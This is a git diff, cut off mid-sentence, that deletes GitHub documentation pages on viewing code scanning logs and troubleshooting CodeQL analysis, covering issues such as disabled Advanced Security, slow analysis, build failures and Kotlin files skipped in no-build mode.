b/content/code-security/code-scanning/managing-your-code-scanning-configuration/viewing-code-scanning-logs.md deleted file mode 100644 index 8b480bb91ae8..000000000000 --- a/content/code-security/code-scanning/managing-your-code-scanning-configuration/viewing-code-scanning-logs.md +++ /dev/null @@ -1,89 +0,0 @@ ---- -title: Viewing code scanning logs -intro: 'You can view the output generated during {% data variables.product.prodname_code_scanning %} analysis in {% data variables.product.github %}.' -permissions: '{% data reusables.permissions.code-scanning-pr-alerts %}' -redirect_from: - - /code-security/secure-coding/automatically-scanning-your-code-for-vulnerabilities-and-errors/viewing-code-scanning-logs - - /code-security/code-scanning/automatically-scanning-your-code-for-vulnerabilities-and-errors/viewing-code-scanning-logs -versions: - fpt: '*' - ghes: '*' - ghec: '*' -topics: - - Security -shortTitle: View code scanning logs ---- - -{% data reusables.code-scanning.enterprise-enable-code-scanning-actions %} - -## About your {% data variables.product.prodname_code_scanning %} configuration - -You can use a variety of tools to configure {% data variables.product.prodname_code_scanning %} in your repository. For more information, see [AUTOTITLE](/code-security/code-scanning/enabling-code-scanning/configuring-default-setup-for-code-scanning) and [AUTOTITLE](/code-security/code-scanning/creating-an-advanced-setup-for-code-scanning/configuring-advanced-setup-for-code-scanning). - -The log and diagnostic information available to you depends on the method you use for {% data variables.product.prodname_code_scanning %} in your repository. You can check the type of {% data variables.product.prodname_code_scanning %} you're using in the **Security** tab of your repository, by using the **Tool** drop-down menu in the alert list. For more information, see [AUTOTITLE](/code-security/code-scanning/managing-code-scanning-alerts/assessing-code-scanning-alerts-for-your-repository#viewing-the-alerts-for-a-repository). - -## About analysis and diagnostic information - -You can see analysis and diagnostic information for {% data variables.product.prodname_code_scanning %} run using {% data variables.product.prodname_codeql %} analysis on {% data variables.product.prodname_dotcom %}. - -Analysis information is shown for the most recent analysis in a header at the top of the list of alerts. For more information, see [AUTOTITLE](/code-security/code-scanning/managing-code-scanning-alerts/assessing-code-scanning-alerts-for-your-repository#viewing-the-alerts-for-a-repository). - -Diagnostic information is displayed in the Action workflow logs and consists of summary metrics and extractor diagnostics. For information about accessing {% data variables.product.prodname_code_scanning %} logs on {% data variables.product.prodname_dotcom %}, see [Viewing the logging output from {% data variables.product.prodname_code_scanning %}](#viewing-the-logging-output-from-code-scanning) below. - -If you're using the {% data variables.product.prodname_codeql_cli %} outside {% data variables.product.prodname_dotcom %}, you'll see diagnostic information in the output generated during database analysis. This information is also included in the SARIF results file you upload to {% data variables.product.prodname_dotcom %} with the {% data variables.product.prodname_code_scanning %} results. - -For information about the {% data variables.product.prodname_codeql_cli %}, see [AUTOTITLE](/code-security/codeql-cli/getting-started-with-the-codeql-cli/analyzing-your-code-with-codeql-queries#viewing-log-and-diagnostic-information). - -### About summary metrics - -{% data reusables.code-scanning.summary-metrics %} - -### About {% data variables.product.prodname_codeql %} source code extraction diagnostics - -{% data reusables.code-scanning.extractor-diagnostics %} - -You can see more detailed information about {% data variables.product.prodname_codeql %} extractor errors and warnings that occurred during database creation by enabling debug logging. For more information, see [AUTOTITLE](/code-security/code-scanning/troubleshooting-code-scanning/logs-are-not-detailed-enough#creating-codeql-debugging-artifacts-by-re-running-jobs-with-debug-logging-enabled). - -## Viewing the logging output from {% data variables.product.prodname_code_scanning %} - -This section applies to {% data variables.product.prodname_code_scanning %} run using {% data variables.product.prodname_actions %} ({% data variables.product.prodname_codeql %} or third-party). - -After configuring {% data variables.product.prodname_code_scanning %} for your repository, you can watch the output of the actions as they run. - -{% data reusables.repositories.actions-tab %} - - You'll see a list that includes an entry for running the {% data variables.product.prodname_code_scanning %} workflow. The text of the entry is the title you gave your commit message. - - ![Screenshot of the "All workflows" page. In the list of workflow runs is a run labeled "Create .github/workflows/codeql.yml."](/assets/images/help/repository/code-scanning-actions-list.png) - -1. Click the entry for the {% data variables.product.prodname_code_scanning %} workflow. - - > [!NOTE] - > If you are looking for the {% data variables.product.prodname_codeql %} workflow run triggered by enabling default setup, the text of the entry is "{% data variables.product.prodname_codeql %}." - -1. Click the job name on the left. For example, **Analyze (LANGUAGE)**. - - ![Screenshot of the log output for the "Analyze (go)" job. In the left sidebar, under the "Jobs" heading, "Analyze (go)" is listed.](/assets/images/help/repository/code-scanning-logging-analyze-action.png) - -1. Review the logging output from the actions in this workflow as they run. - -1. Optionally, to see more detail about the commit that triggered the workflow run, click the short commit hash. The short commit hash is 7 lowercase characters immediately following the commit author's username. - -1. Once all jobs are complete, you can view the details of any {% data variables.product.prodname_code_scanning %} alerts that were identified. For more information, see [AUTOTITLE](/code-security/code-scanning/managing-code-scanning-alerts/assessing-code-scanning-alerts-for-your-repository#viewing-the-alerts-for-a-repository). - -{% ifversion org-private-registry %} - -### Determining whether {% data variables.product.prodname_code_scanning %} default setup used any private registries - -{% data variables.product.prodname_code_scanning_caps %} default setup includes a `Setup proxy or registries` step. When you are looking at a log file for default setup, you can expand this step. If the step includes: - -* `Using registries_credentials input.` At least one private registry is configured for the organization. - -* `Credentials loaded for the following registries:` - * No further output in the step. Access was unsuccessful. - * `Type: nuget_feed;` Default set up accessed a private Nuget feed. - * `Type: maven_repository;` Default set up accessed a private Maven repository. - -For more information, see [AUTOTITLE](/code-security/securing-your-organization/enabling-security-features-in-your-organization/giving-org-access-private-registries). - -{% endif %} diff --git a/content/code-security/code-scanning/troubleshooting-code-scanning/advanced-security-must-be-enabled.md b/content/code-security/code-scanning/troubleshooting-code-scanning/advanced-security-must-be-enabled.md deleted file mode 100644 index 82a0acdc322d..000000000000 --- a/content/code-security/code-scanning/troubleshooting-code-scanning/advanced-security-must-be-enabled.md +++ /dev/null @@ -1,58 +0,0 @@ ---- -title: 'Error: "{% data variables.product.prodname_advanced_security %} must be enabled for this repository to use code scanning"' -shortTitle: '{% data variables.product.prodname_advanced_security %} must be enabled' -intro: 'If you see this error, make sure that {% data variables.product.prodname_GH_code_security %} is enabled.' -allowTitleToDifferFromFilename: true -type: reference -topics: - - Code scanning - - Errors - - Troubleshooting -versions: - fpt: '*' - ghes: '*' - ghec: '*' ---- - -## About this error - -```text -{% data variables.product.prodname_advanced_security %} must be enabled for this repository to use code scanning -403: {% data variables.product.prodname_GH_advanced_security %} is not enabled -``` - -This error is reported if you try to run {% data variables.product.prodname_code_scanning %} in a repository where {% data variables.product.prodname_GH_advanced_security %} is not enabled or where use of this feature is blocked by a policy. - -{% ifversion fpt or ghec %}You will only see this error for repositories with private or internal visibility. {% data variables.product.prodname_GH_advanced_security %} is enabled by default for all public repositories.{% endif %} - -## Confirming the cause of the error - -{% ifversion fpt %} -If you are on a free, pro, or team plan, you can only use {% data variables.product.prodname_code_scanning %} on repositories that are publicly available. To enable {% data variables.product.prodname_code_scanning %} for private or internal repositories, you must upgrade to GitHub Enterprise with {% data variables.product.prodname_GH_advanced_security %} and enable {% data variables.product.prodname_GH_advanced_security %} for the repository. For more information, see [AUTOTITLE](/get-started/learning-about-github/githubs-products#github-enterprise) and [AUTOTITLE](/get-started/learning-about-github/about-github-advanced-security). - -{% else %} - -{% data reusables.repositories.navigate-to-repo %} -{% data reusables.repositories.sidebar-settings %} -{% data reusables.user-settings.security-analysis %} -1. Scroll down to "{% data variables.product.prodname_GH_advanced_security %}." -1. If there is an associated and active **Enable** button, {% data variables.product.prodname_GH_advanced_security %} is available for this repository but not yet enabled. -1. If use of {% data variables.product.prodname_GH_advanced_security %} is blocked by a policy, the **Enable** button is inactive and the owner of the policy is listed. - - ![Screenshot of the "{% data variables.product.prodname_GH_advanced_security %}" setting. The owner of the enterprise policy and the inactive "Enable" button are outlined in orange.](/assets/images/help/repository/ghas-enterprise-policy-block.png) - -## Fixing the problem - -If {% data variables.product.prodname_GH_advanced_security %} is available to your repository, you can enable it on the settings page. If {% data variables.product.prodname_GH_advanced_security %} is blocked by a policy, you first need to request access. - -### Requesting access to {% data variables.product.prodname_GH_advanced_security %} - -1. In the "{% data variables.product.prodname_GH_advanced_security %}" settings, click the enterprise name to display a list of users with access to edit the policy that controls access to {% data variables.product.prodname_GH_advanced_security %}. For more information, see [AUTOTITLE](/admin/policies/enforcing-policies-for-your-enterprise/enforcing-policies-for-code-security-and-analysis-for-your-enterprise#enforcing-a-policy-for-the-use-of-github-advanced-security-in-your-enterprises-organizations). -1. Follow your company's policy for requesting access to additional features. - -### Enabling {% data variables.product.prodname_GH_advanced_security %} - -1. In the "{% data variables.product.prodname_GH_advanced_security %}" settings, click **Enable**. -1. Rerun {% data variables.product.prodname_code_scanning %}. - -{% endif %} diff --git a/content/code-security/code-scanning/troubleshooting-code-scanning/alerts-in-generated-code.md b/content/code-security/code-scanning/troubleshooting-code-scanning/alerts-in-generated-code.md deleted file mode 100644 index 0367a9f0e7af..000000000000 --- a/content/code-security/code-scanning/troubleshooting-code-scanning/alerts-in-generated-code.md +++ /dev/null @@ -1,15 +0,0 @@ ---- -title: Alerts found in generated code -shortTitle: Alerts in generated code -intro: 'When analyzing your code with {% data variables.product.prodname_code_scanning %}, you may wish to build only the code which you wish to analyze.' -allowTitleToDifferFromFilename: true -versions: - fpt: '*' - ghes: '*' - ghec: '*' -redirect_from: - - /code-security/code-scanning/troubleshooting-code-scanning/alerts-found-in-generated-code ---- - -{% data reusables.code-scanning.codeql-action-version-ghes %} -{% data reusables.code-scanning.alerts-found-in-generated-code %} diff --git a/content/code-security/code-scanning/troubleshooting-code-scanning/analysis-takes-too-long.md b/content/code-security/code-scanning/troubleshooting-code-scanning/analysis-takes-too-long.md deleted file mode 100644 index 0ca7fad654b7..000000000000 --- a/content/code-security/code-scanning/troubleshooting-code-scanning/analysis-takes-too-long.md +++ /dev/null @@ -1,56 +0,0 @@ ---- -title: Code scanning analysis takes too long -shortTitle: Analysis takes too long -intro: 'You can fine tune your {% data variables.product.prodname_code_scanning %} configuration to minimize analysis time.' -allowTitleToDifferFromFilename: true -versions: - fpt: '*' - ghes: '*' - ghec: '*' -redirect_from: - - /code-security/code-scanning/troubleshooting-code-scanning/build-is-taking-too-long ---- - -{% data reusables.code-scanning.codeql-action-version-ghes %} - -There are several approaches you can try to reduce the build time in a {% data variables.product.prodname_code_scanning %} analysis. - -## Increase the memory or cores - -{% ifversion fpt or ghec %} - -If you're using {% data variables.product.company_short %}-hosted runners for your {% data variables.product.prodname_code_scanning %} analysis, consider upgrading to {% data variables.actions.hosted_runners %}. These are {% data variables.product.company_short %}-hosted runners with more RAM, CPU, and disk space than standard runners. For more information about {% data variables.actions.hosted_runners %} and {% data variables.product.prodname_code_scanning %}, see [AUTOTITLE](/actions/using-github-hosted-runners/about-larger-runners) and [AUTOTITLE](/code-security/code-scanning/managing-your-code-scanning-configuration/configuring-larger-runners-for-default-setup). - -If you're using self-hosted runners to run {% data variables.product.prodname_code_scanning %} analysis, you can increase the memory or the number of cores on those runners. If you're using {% data variables.product.prodname_codeql %} with advanced setup for your analysis, review the recommended hardware resources for {% data variables.product.prodname_codeql %} to make sure your self-hosted runners meet those requirements. For more information, see [AUTOTITLE](/code-security/code-scanning/creating-an-advanced-setup-for-code-scanning/recommended-hardware-resources-for-running-codeql). - -{% elsif ghes %} - -You can increase the memory or disk space available on your runners. If you're using {% data variables.product.prodname_codeql %} for your {% data variables.product.prodname_code_scanning %} analysis, you can review the recommended hardware resources for {% data variables.product.prodname_codeql %} to make sure your runners meet those requirements. For more information, see [AUTOTITLE](/code-security/code-scanning/creating-an-advanced-setup-for-code-scanning/recommended-hardware-resources-for-running-codeql). - -{% endif %} - -## Use matrix builds to parallelize the analysis - -To speed up analysis of workflows that involve multiple jobs, you can modify your workflow to use a matrix. For more information, see [AUTOTITLE](/actions/using-jobs/using-a-matrix-for-your-jobs). - -The default {% data variables.code-scanning.codeql_workflow %} uses a matrix of languages, which causes the analysis of each language to run in parallel. However, if you're using {% data variables.product.prodname_codeql %} with advanced setup and you have specified the languages you want to analyze directly in the "Initialize CodeQL" step, analysis of each language will happen sequentially. In this configuration, you can speed up your analysis by modifying your advanced setup workflow to use a matrix. For an example, see the workflow extract in [AUTOTITLE](/code-security/code-scanning/troubleshooting-code-scanning/some-languages-were-not-analyzed). - -## Reduce the amount of code being analyzed in a single workflow - -Analysis time is typically proportional to the amount of code being analyzed. If you're using {% data variables.product.prodname_codeql %} with advanced setup, you can reduce the analysis time by reducing the amount of code being analyzed at once. For example, by excluding test code, or breaking analysis into multiple workflows that analyze only a subset of your code at a time. - -{% data reusables.code-scanning.alerts-found-in-generated-code %} - -If you split your {% data variables.product.prodname_codeql %} analysis into multiple workflows, we still recommend that you have at least one workflow which runs on a `schedule` which analyzes all of the code in your repository. Because {% data variables.product.prodname_codeql %} analyzes data flows between components, some complex security behaviors may only be detected on a complete build. - -## Run only during a `schedule` event - -You may find that your analysis is slow during `push` or `pull_request` events. If so, you can set your analysis to only trigger on the `schedule` event. If you're using {% data variables.product.prodname_codeql %} for your {% data variables.product.prodname_code_scanning %} analysis, you can configure this with an advanced setup workflow, but not in default setup. For more information, see [AUTOTITLE](/actions/learn-github-actions/understanding-github-actions#events). - -## Check which queries or rules the workflow runs - -Another option to reduce analysis time is to run only the queries or rules that you consider critical in workflows that run on pull requests. If you use a third-party tool for {% data variables.product.prodname_code_scanning %}, you should refer to the documentation for the tool. - -In {% data variables.product.prodname_codeql %}, there are two main query suites available for each language. If you have optimized the {% data variables.product.prodname_codeql %} database build and the process is still too long, you could reduce the number of queries you run. The default query suite is run automatically: it provides the best possible compromise between quality and speed. - -If you're using {% data variables.product.prodname_codeql %} with advanced setup, you may be running extra queries or query suites in addition to the default queries. Check whether the workflow defines an additional query suite or additional queries to run using the `queries` element. You can experiment with disabling the additional query suite or queries. For more information, see [AUTOTITLE](/code-security/code-scanning/creating-an-advanced-setup-for-code-scanning/customizing-your-advanced-setup-for-code-scanning#using-queries-in-ql-packs). diff --git a/content/code-security/code-scanning/troubleshooting-code-scanning/automatic-build-failed.md b/content/code-security/code-scanning/troubleshooting-code-scanning/automatic-build-failed.md deleted file mode 100644 index 9414d05398d3..000000000000 --- a/content/code-security/code-scanning/troubleshooting-code-scanning/automatic-build-failed.md +++ /dev/null @@ -1,22 +0,0 @@ ---- -title: Automatic build failed for a compiled language -shortTitle: Automatic build failed -allowTitleToDifferFromFilename: true -intro: 'If automatic build fails, you can configure {% data variables.product.prodname_code_scanning %} to use specific build steps for compiled languages.' -versions: - fpt: '*' - ghes: '*' - ghec: '*' -redirect_from: - - /code-security/code-scanning/troubleshooting-code-scanning/automatic-build-failed-for-a-compiled-language ---- - -{% data reusables.code-scanning.codeql-action-version-ghes %} - -If an automatic build of code for a compiled language within your project fails, you can try {% ifversion codeql-no-build %}changing to the `manual` build mode or {% endif %}removing the `autobuild` step from your {% data variables.product.prodname_code_scanning %} workflow and adding specific build steps. If you're not already using advanced setup, you'll need to enable it first to create a workflow you can edit. - -## Further reading - -* [AUTOTITLE](/code-security/code-scanning/creating-an-advanced-setup-for-code-scanning).{% ifversion codeql-no-build %} -* [CodeQL build modes](/code-security/code-scanning/creating-an-advanced-setup-for-code-scanning/codeql-code-scanning-for-compiled-languages#codeql-build-modes){% elsif ghes %} -* [Adding build steps for a compiled language](/code-security/code-scanning/creating-an-advanced-setup-for-code-scanning/codeql-code-scanning-for-compiled-languages#adding-build-steps-for-a-compiled-language).{% endif %} diff --git a/content/code-security/code-scanning/troubleshooting-code-scanning/c-sharp-compiler-unexpectedly-failing.md b/content/code-security/code-scanning/troubleshooting-code-scanning/c-sharp-compiler-unexpectedly-failing.md deleted file mode 100644 index a77b97db3768..000000000000 --- a/content/code-security/code-scanning/troubleshooting-code-scanning/c-sharp-compiler-unexpectedly-failing.md +++ /dev/null @@ -1,26 +0,0 @@ ---- -title: 'C# compiler unexpectedly failing' -shortTitle: 'C# compiler failing' -allowTitleToDifferFromFilename: true -intro: 'If your MSBuild C# compilation is unexpectedly failing, you may need to amend your application project file.' -versions: - fpt: '*' - ghes: '*' - ghec: '*' ---- - -## About these errors - -The {% data variables.product.prodname_codeql %} tracer injects some flags into the C# compiler invocation to ensure every component is built and included in the {% data variables.product.prodname_codeql %} database, which may cause your C# code to build differently to what you expect during {% data variables.product.prodname_codeql %} analysis. See [AUTOTITLE](/code-security/code-scanning/creating-an-advanced-setup-for-code-scanning/codeql-code-scanning-for-compiled-languages). - -`/p:EmitCompilerGeneratedFiles=true` is one of the injected properties, and emits compiler-generated files during the build process. This option causes the compiler to generate additional files that are used to support features such as improved regular expression support, serialization, and web application view generation. These generated artifacts are typically not written to disk by the compiler, but setting the option to `true` forces writing the files to disk, and so the extractor can process the files. - -For some legacy projects, and projects that use `.sqlproj` files, you may see that the injected `/p:EmitCompilerGeneratedFiles=true` property causes unexpected issues with `msbuild`. - -## Confirming the cause of the problem - -If you have set the "treat warnings as errors" flag, then `msbuild` will produce an error, which will cause the extraction to fail. - -## Fixing the problem - -You should add the `<CompilerGeneratedFilesOutputPath>` element to the application's project file. For more information, see [Understanding the project file](https://learn.microsoft.com/en-us/aspnet/web-forms/overview/deployment/web-deployment-in-the-enterprise/understanding-the-project-file) in Microsoft Learn. diff --git a/content/code-security/code-scanning/troubleshooting-code-scanning/cannot-enable-codeql-in-a-private-repository.md b/content/code-security/code-scanning/troubleshooting-code-scanning/cannot-enable-codeql-in-a-private-repository.md deleted file mode 100644 index 47257621972c..000000000000 --- a/content/code-security/code-scanning/troubleshooting-code-scanning/cannot-enable-codeql-in-a-private-repository.md +++ /dev/null @@ -1,47 +0,0 @@ ---- -title: 'Cannot enable CodeQL in a private repository' -intro: '{% data variables.product.prodname_GH_code_security %} must be enabled in order to use {% data variables.product.prodname_code_scanning %} on private repositories.' -allowTitleToDifferFromFilename: true -type: reference -topics: - - Code scanning - - Errors - - Troubleshooting -versions: - fpt: '*' - ghes: '*' - ghec: '*' ---- - -{% ifversion fpt %} -{% ifversion ghas-products-cloud %} -If you are on a free or pro plan, you can only use {% data variables.product.prodname_code_scanning %} on repositories that are publicly available. To enable {% data variables.product.prodname_code_scanning %} for private or internal repositories, you must upgrade to {% data variables.product.prodname_team %} or {% data variables.product.prodname_enterprise %} with {% data variables.product.prodname_GH_code_security %} and enable {% data variables.product.prodname_GH_code_security %} for the repository. For more information, see [AUTOTITLE](/get-started/learning-about-github/githubs-products#github-team) and [AUTOTITLE](/get-started/learning-about-github/about-github-advanced-security). -{% else %} -If you are on a free, pro, or team plan, you can only use {% data variables.product.prodname_code_scanning %} on repositories that are publicly available. To enable {% data variables.product.prodname_code_scanning %} for private or internal repositories, you must upgrade to {% data variables.product.prodname_enterprise %} with {% data variables.product.prodname_GHAS %} and enable {% data variables.product.prodname_GHAS %} for the repository. For more information, see [AUTOTITLE](/get-started/learning-about-github/githubs-products#github-enterprise) and [AUTOTITLE](/get-started/learning-about-github/about-github-advanced-security). -{% endif %} -{% endif %} - -{% ifversion ghas-products-cloud or ghec or ghes %} - -## Confirm whether {% data variables.product.prodname_GH_code_security %} is enabled - -{% data reusables.repositories.navigate-to-repo %} -{% data reusables.repositories.sidebar-settings %} -{% data reusables.user-settings.security-analysis %} -1. Scroll down to "{% data variables.product.prodname_GH_advanced_security %}." -1. If there is an associated and active **Enable** button, {% data variables.product.prodname_GH_advanced_security %} is available for this repository but not yet enabled. -1. If use of {% data variables.product.prodname_GH_advanced_security %} is blocked by a policy, the **Enable** button is inactive and the owner of the policy is listed. - - !["Screenshot of the {% data variables.product.prodname_GH_advanced_security %}" setting. The enterprise policy owner and the inactive "Enable" button are highlighted in dark orange.](/assets/images/help/repository/ghas-enterprise-policy-block.png) - -### Requesting access to {% data variables.product.prodname_GH_advanced_security %} - -1. In the "{% data variables.product.prodname_GH_advanced_security %}" settings, click the enterprise or organization name to display a list of users with access to edit the policy that controls access to {% data variables.product.prodname_GH_advanced_security %}. For more information, see [AUTOTITLE](/admin/policies/enforcing-policies-for-your-enterprise/enforcing-policies-for-code-security-and-analysis-for-your-enterprise#enforcing-a-policy-for-the-use-of-github-advanced-security-in-your-enterprises-organizations). -1. Follow your company's policy for requesting access to additional features. - -### Enabling {% data variables.product.prodname_GH_advanced_security %} - -1. In the "{% data variables.product.prodname_GH_advanced_security %}" settings, click **Enable**. -1. Rerun {% data variables.product.prodname_code_scanning %}. - -{% endif %} diff --git a/content/code-security/code-scanning/troubleshooting-code-scanning/enabling-default-setup-takes-too-long.md b/content/code-security/code-scanning/troubleshooting-code-scanning/enabling-default-setup-takes-too-long.md deleted file mode 100644 index 0adf9bbe5802..000000000000 --- a/content/code-security/code-scanning/troubleshooting-code-scanning/enabling-default-setup-takes-too-long.md +++ /dev/null @@ -1,16 +0,0 @@ ---- -title: 'Enabling default setup takes too long' -intro: 'If you think that enabling default setup has stalled, you can restart the process.' -allowTitleToDifferFromFilename: true -versions: - fpt: '*' - ghes: '*' - ghec: '*' ---- - - -When you enable default setup, a workflow is triggered with the automatically generated configuration. This run is used to test whether default setup works for all {% data variables.product.prodname_codeql %}-supported languages in the repository. - -You can check on the progress of the test run for default setup on the **Actions** tab. If the run is taking too long, try canceling the workflow run and restarting the configuration process. - -To restart your configuration, navigate to the main page of your repository, then click **{% octicon "play" aria-hidden="true" %} Actions**. Click the **{% data variables.product.prodname_codeql %}** workflow run that's in progress, then click **Cancel workflow**. Once {% octicon "stop" aria-label="cancelled" %} appears beside the workflow run name, navigate back to the **{% data variables.product.UI_advanced_security %}** settings and re-enable default setup. If default setup continues to stall, please contact {% data variables.contact.contact_support %} or try enabling advanced setup. For more information, see [AUTOTITLE](/code-security/code-scanning/creating-an-advanced-setup-for-code-scanning/configuring-advanced-setup-for-code-scanning). diff --git a/content/code-security/code-scanning/troubleshooting-code-scanning/extraction-errors-in-the-database.md b/content/code-security/code-scanning/troubleshooting-code-scanning/extraction-errors-in-the-database.md deleted file mode 100644 index 94520fc66883..000000000000 --- a/content/code-security/code-scanning/troubleshooting-code-scanning/extraction-errors-in-the-database.md +++ /dev/null @@ -1,16 +0,0 @@ ---- -title: 'Extraction errors in the database' -intro: 'You can check whether or not extraction errors affect the health of the {% data variables.product.prodname_codeql %} database created.' -allowTitleToDifferFromFilename: true -versions: - fpt: '*' - ghes: '*' - ghec: '*' ---- - -{% data reusables.code-scanning.codeql-action-version-ghes %} - -The {% data variables.product.prodname_codeql %} team constantly works on critical extraction errors to make sure that all source files can be scanned. However, the {% data variables.product.prodname_codeql %} extractors do occasionally generate errors during database creation. {% data variables.product.prodname_codeql %} provides information about extraction errors and warnings generated during database creation in a log file. -The extraction diagnostics information gives an indication of overall database health. Most extractor errors do not significantly impact the analysis. A small number of extractor errors is healthy and typically indicates a good state of analysis. - -However, if you see extractor errors in the overwhelming majority of files that were compiled during database creation, you should look into the errors in more detail to try to understand why some source files weren't extracted properly. diff --git a/content/code-security/code-scanning/troubleshooting-code-scanning/fewer-lines-scanned-than-expected.md b/content/code-security/code-scanning/troubleshooting-code-scanning/fewer-lines-scanned-than-expected.md deleted file mode 100644 index 4c4a4d7f2b8f..000000000000 --- a/content/code-security/code-scanning/troubleshooting-code-scanning/fewer-lines-scanned-than-expected.md +++ /dev/null @@ -1,42 +0,0 @@ ---- -title: CodeQL scanned fewer lines than expected -shortTitle: Fewer lines scanned than expected -intro: 'If {% data variables.product.prodname_codeql %} analyzed less code than you expected, you may need to use a custom build command.' -allowTitleToDifferFromFilename: true -versions: - fpt: '*' - ghes: '*' - ghec: '*' -redirect_from: - - /code-security/code-scanning/troubleshooting-code-scanning/codeql-scanned-fewer-lines-than-expected ---- - -## About analysis of compiled languages - -{% ifversion codeql-no-build %}When compiled languages are analyzed using the `autobuild` or `manual` build mode,{% elsif ghes %}For compiled languages like {% data variables.code-scanning.compiled_languages %},{% endif %} {% data variables.product.prodname_codeql %} only scans files that are built during the analysis. Therefore the number of lines of code scanned will be lower than expected if some of the source code isn't compiled correctly. This can happen for several reasons: - -1. The {% data variables.product.prodname_codeql %} `autobuild` feature uses heuristics to build the code in a repository. However, sometimes this approach results in an incomplete analysis of a repository. For example, when multiple `build.sh` commands exist in a single repository, the analysis may not be complete since the `autobuild` step will only execute one of the commands, and therefore some source files may not be compiled. - -1. Some compilers do not work with {% data variables.product.prodname_codeql %} and can cause issues while analyzing the code. For example, most vendor-specific C compilers will not be recognized by {% data variables.product.prodname_codeql %}. C code will need to be compiled with a recognized compiler (for example GCC, Clang or MSVC) in order to be analyzed. - -If your {% data variables.product.prodname_codeql %} analysis scans fewer lines of code than expected, you can try {% ifversion codeql-no-build %}changing the build mode to `manual` and specifying build commands if your workflow specifies a build mode, {% endif %} replacing the `autobuild` step with build commands if your workflow contains an `autobuild` step, or inspecting the copy of the source files in the {% data variables.product.prodname_codeql %} database. - -## {% ifversion codeql-no-build %}Change to a `manual` build process{% elsif ghes %}Replace the `autobuild` step{% endif %} - -Replace the `autobuild` process with the same build commands you would use in production. This makes sure that {% data variables.product.prodname_codeql %} knows exactly how to compile all of the source files you want to scan. -For more information about defining build steps, see {% ifversion codeql-no-build %}[AUTOTITLE](/code-security/code-scanning/creating-an-advanced-setup-for-code-scanning/codeql-code-scanning-for-compiled-languages#using-build-mode-manual-and-specifying-build-steps){% elsif ghes %}[AUTOTITLE](/code-security/code-scanning/creating-an-advanced-setup-for-code-scanning/codeql-code-scanning-for-compiled-languages#adding-build-steps-for-a-compiled-language){% endif %}. - -## Inspect the copy of the source files in the {% data variables.product.prodname_codeql %} database - -You may be able to understand why some source files haven't been analyzed by inspecting the copy of the source code included with the {% data variables.product.prodname_codeql %} database. To obtain the database from your Actions workflow, modify the `init` step of your {% data variables.product.prodname_codeql %} workflow file and set `debug: true`. - -```yaml -- name: Initialize CodeQL - uses: {% data reusables.actions.action-codeql-action-init %} - with: - debug: true -``` - -This uploads the database as an actions artifact that you can download to your local machine. For more information, see [AUTOTITLE](/actions/using-workflows/storing-workflow-data-as-artifacts). - -The artifact will contain an archived copy of the source files scanned by {% data variables.product.prodname_codeql %} called _src.zip_. If you compare the source code files in the repository and the files in _src.zip_, you can see which types of file are missing. Once you know what types of file are not being analyzed, it is easier to understand how you may need to change the workflow for {% data variables.product.prodname_codeql %} analysis. diff --git a/content/code-security/code-scanning/troubleshooting-code-scanning/index.md b/content/code-security/code-scanning/troubleshooting-code-scanning/index.md deleted file mode 100644 index ae91122e9735..000000000000 --- a/content/code-security/code-scanning/troubleshooting-code-scanning/index.md +++ /dev/null @@ -1,39 +0,0 @@ ---- -title: Troubleshooting code scanning -intro: 'When analyzing your code with {% data variables.product.prodname_code_scanning %}, you may need to troubleshoot unexpected issues.' -redirect_from: - - /code-security/code-scanning/automatically-scanning-your-code-for-vulnerabilities-and-errors/troubleshooting-your-default-setup-for-codeql - - /code-security/code-scanning/automatically-scanning-your-code-for-vulnerabilities-and-errors/troubleshooting-the-codeql-workflow - - /code-security/code-scanning/troubleshooting-code-scanning/results-differ-between-platforms -versions: - fpt: '*' - ghes: '*' - ghec: '*' -topics: - - Code Security - - Code scanning - - CodeQL - - Repositories -children: - - /advanced-security-must-be-enabled - - /alerts-in-generated-code - - /analysis-takes-too-long - - /automatic-build-failed - - /c-sharp-compiler-unexpectedly-failing - - /cannot-enable-codeql-in-a-private-repository - - /enabling-default-setup-takes-too-long - - /extraction-errors-in-the-database - - /fewer-lines-scanned-than-expected - - /logs-not-detailed-enough - - /no-source-code-seen-during-build - - /not-recognized - - /out-of-disk-or-memory - - /resource-not-accessible - - /results-different-than-expected - - /server-error - - /some-languages-not-analyzed - - /two-codeql-workflows - - /unclear-what-triggered-a-workflow - - /unnecessary-step-found - - /kotlin-detected-in-no-build ---- diff --git a/content/code-security/code-scanning/troubleshooting-code-scanning/kotlin-detected-in-no-build.md b/content/code-security/code-scanning/troubleshooting-code-scanning/kotlin-detected-in-no-build.md deleted file mode 100644 index 4c1caf0ec1db..000000000000 --- a/content/code-security/code-scanning/troubleshooting-code-scanning/kotlin-detected-in-no-build.md +++ /dev/null @@ -1,60 +0,0 @@ ---- -title: 'Warning: Detected X Kotlin files in your project that could not be processed without a build' -shortTitle: Kotlin detected in no build -allowTitleToDifferFromFilename: true -intro: '{% data variables.product.prodname_codeql %} databases can be created for Java without building the code, but Kotlin files are excluded unless the code is built.' -versions: - feature: codeql-no-build ---- - -## About this warning - -```text -Warning: Detected X Kotlin files in your project that could not be processed without a build. To process these files... -``` - -This warning is reported when Kotlin files are detected in a repository that ran {% data variables.product.prodname_codeql %} {% data variables.product.prodname_code_scanning %} for Java using the build mode of `none` (default setup), or if you run the {% data variables.product.prodname_codeql_cli %} using `--build-mode none` for a repository containing Java and Kotlin files. - -## Confirming the cause of the warning - -This warning is only displayed when the build mode of `none` is used for a repository with both Java and Kotlin files. - -The {% data variables.product.prodname_codeql %} action and {% data variables.product.prodname_codeql_cli %} support a build mode of `none` for Java. This provides an easy way to enable analysis for Java code without building the codebase. However, Kotlin files are not included in the resulting {% data variables.product.prodname_codeql %} database. - -You can verify the presence of Kotlin files by looking at the repository or pull request that triggered the warning. The `none` build mode is used only in the following circumstances: - -* {% data variables.product.prodname_code_scanning_caps %} was enabled for the repository before Kotlin code was added and after the new mode was introduced (previously it would have used the `autobuild` mode). -* The {% data variables.product.prodname_codeql %} workflow specifies a build mode of `none` for the repository (check for `build-mode: none`). -* The {% data variables.product.prodname_codeql_cli %} is called without a `--command` and with `--build-mode none`. - -## Fixing the problem - -You may not want to analyze the Kotlin files, in which case you can ignore the warning message. - -If you want to update the analysis to also include Kotlin files, then {% data variables.product.prodname_codeql %} will need to build the Java and Kotlin code. - -### {% data variables.product.prodname_code_scanning_caps %} default setup - -1. Wait until the Kotlin code is merged into the default branch for the repository. -1. Disable and then re-enable default setup on the "Settings" page for your repository. - -This will trigger a new analysis using automatic build detection. See [AUTOTITLE](/code-security/code-scanning/enabling-code-scanning/configuring-default-setup-for-code-scanning) and [Building Java and 